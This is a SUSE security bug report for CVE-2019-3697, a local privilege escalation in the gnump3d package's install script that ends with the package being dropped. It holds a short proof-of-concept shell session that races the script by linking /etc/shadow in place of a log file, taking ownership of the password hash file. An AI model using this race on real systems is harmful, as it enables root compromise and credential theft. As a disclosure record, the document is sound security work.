Bug 1154229 (CVE-2019-3697) - VUL-0: CVE-2019-3697: gnump3d: LPE from gnump3d to root
Summary: VUL-0: CVE-2019-3697: gnump3d: LPE from gnump3d to root
Status: RESOLVED WONTFIX
Alias: CVE-2019-3697
Product: SUSE Security Incidents
Classification: Novell Products
Component: Audits (show other bugs)
Version: unspecified
Hardware: Other Other
: P4 - Low : Normal
Target Milestone: ---
Assignee: Security Team bot
QA Contact: Security Team bot
URL:
Whiteboard:
Keywords:
Depends on:
Blocks: 1154062
  Show dependency treegraph
 
Reported: 2019-10-16 14:08 UTC by Johannes Segitz
Modified: 2020-07-20 12:20 UTC (History)
0 users

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Johannes Segitz 2019-10-16 14:08:02 UTC
80 %post
 81 # if there is no access.log file, create one with correct permissions.
 82 # gnump3d does not do this.
 83 test -f /var/log/gnump3d/access.log || {
 84   touch /var/log/gnump3d/access.log;
 85   chmod 640 /var/log/gnump3d/access.log;
 86   chown gnump3d /var/log/gnump3d/access.log
 87 }

allows LPE on systems with fs.protected_hardlinks=0 if the race is won.

zypper ar https://download.opensuse.org/repositories/home:/jsegitz:/branches:/multimedia:/apps/openSUSE_Tumbleweed/home:jsegitz:branches:multimedia:apps.repo
to make winning the race easy

POC:
sh-5.0$ id
uid=63(gnump3d) gid=65534(nogroup) groups=65534(nogroup)
sh-5.0$ pwd
/var/log/gnump3d
sh-5.0$ rm access.log

As root: zypper in -f gnump3d

When installation hangs as gnump3d
sh-5.0$ rm access.log; ln /etc/shadow access.log
sh-5.0$ ls -lah /etc/shadow
-rw-r----- 2 gnump3d shadow 1.6K Oct 16 15:58 /etc/shadow
Comment 2 Johannes Segitz 2019-10-25 11:15:48 UTC
works with symlinks, so no need for fs.protected_hardlinks=0
Comment 3 Johannes Segitz 2019-11-08 10:46:39 UTC
I can reliably exploit this using inotify and relinking after touch ran. Please use CVE-2019-3697 to track this
Comment 4 Johannes Segitz 2019-12-10 08:58:07 UTC
Sent delete request to remove this from Factory as it's unmaintained
Comment 5 Johannes Segitz 2020-07-20 12:20:28 UTC
dropped from Factory